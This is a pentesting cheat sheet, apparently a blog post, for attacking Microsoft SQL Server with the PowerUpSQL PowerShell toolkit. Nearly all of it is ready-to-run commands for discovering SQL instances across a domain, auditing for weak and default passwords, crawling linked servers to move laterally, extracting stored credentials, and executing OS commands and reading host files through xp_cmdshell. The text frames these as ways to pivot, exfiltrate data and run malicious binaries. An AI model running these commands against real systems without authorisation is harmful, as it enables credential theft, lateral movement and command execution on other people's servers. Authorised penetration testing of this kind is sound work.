Port 1433 – Microsoft SQL Server (MSSQL)

PowerUpSQL opens the door to a wide range of SQL pentesting capabilities. Whether you’re enumerating linked servers, uncovering stored credentials, or auditing for privilege escalation paths, PowerUpSQL helps automate and simplify the process for red teamers and pentesters.

Import-Module .\PowerUpSQL.ps1

Basic MSSQL Instance Discovery

It is important to map out the SQL landscape first. PowerUpSQL provides threaded discovery functions that can scan the domain or a list of hosts to identify accessible SQL instances.

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose                      #Discover all reachable SQL instances in the domain
Get-SQLInstanceFile -FilePath .\machines.txt | Get-SQLInstanceScanUDPThreaded       #Scan multiple hosts from a list to identify SQL instances over UDP

Weak Credential Audit

Once you’ve identified SQL instances, the next step is testing for weak or default credentials. PowerUpSQL includes built-in functionality to perform these checks for you.

Invoke-SQLAuditWeakLoginPw -Verbose -Instance 10.1.1.1     #Audit the target for weak SQL credentials (uses a built-in weak password list)

Bulk Credential Audit

Auditing one host is good. Auditing all of them is even better. This loop lets you automate credential auditing across a list of SQL instances, saving you time.

#Audit many SQL servers in a loop for misconfigurations and weak logins
foreach ($line in Get-Content "sql_instances.txt") {
    Invoke-SQLAudit -Verbose -Instance $line
}

If you’re testing accessibility and want to log all discovered weak credentials, use the following pattern to save the results to a file:

#Save weak credentials found during audits
Import-Module .\PowerUpSQL.ps1
$results = foreach ($line in Get-Content "Instances_Accessible.txt") {
    Invoke-SQLAuditWeakLoginPw -Verbose -Instance $line
}
$results | Out-File -FilePath weak-passes.txt -Append

Linked Servers & Lateral Movement

Linked SQL Servers can allow you to pivot across systems, often bypassing traditional network segmentation. PowerUpSQL makes it easy to enumerate and interact with these links.

Get-SQLServerLink -Instance 10.1.1.1          #Enumerate linked SQL servers (potential lateral movement paths)
Get-SQLServerLinkCrawl -Instance 10.1.1.1     #Crawl all discovered linked servers recursively

If xp_cmdshell is available on the linked server, you can even execute commands:

Invoke-SQLServerLinkCommand -Instance 10.1.1.1 -Query "whoami"      #Execute a query on a linked server

Stored Credentials & Trusts

SQL servers may store credentials or have trust relationships that can be abused. Use these commands to identify juicy targets and configuration weaknesses.

Get-SQLServerInfo -Instance 10.1.1.1          #Gather SQL Server configuration info (user, version, domain, etc.)
Get-SQLStoredCredential -Instance 10.1.1.1    #Extract stored SQL credentials (if any)
Get-SQLServerTrust -Instance 10.1.1.1         #Check for database trust relationships

Privilege Escalation Checks

Understanding your current level of access is key. PowerUpSQL allows you to query roles and permission sets to identify paths for privilege escalation.

Get-SQLServerRole -Instance 10.1.1.1                    #Check your role on the SQL server
Get-SQLServerPrivilegedRoleMember -Instance 10.1.1.1    #Identify members of high-privilege SQL roles (like sysadmin)
Get-SQLServerLoginDefaultPw -Instance 10.1.1.1          #Check if any SQL logins are using default credentials

File Access & OS Command Execution

If xp_cmdshell is enabled, you can interact with the underlying OS beyond the database. This often allows you to exfiltrate data or execute malicious binaries.

Invoke-SQLOSCmd -Instance 10.1.1.1 -Command "whoami"                           #Run system commands via xp_cmdshell (if enabled)
Invoke-SQLQuery -Instance 10.1.1.1 -Query "SELECT * FROM master..syslogins"    #Run arbitrary SQL queries
Get-SQLServerFile -Instance 10.1.1.1 -FilePath "C:\Windows\win.ini"            #Read files from the SQL server host if permissions allow

Parallel Scanning & Threading

When working in large environments, performance matters. These threaded scans allow for faster enumeration and instance crawling:

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 20 -Verbose    #Speed up scanning with multi-threading
Get-SQLServerLinkCrawl -Threads 10 -Instance 10.1.1.1                         #Speed up linked server crawling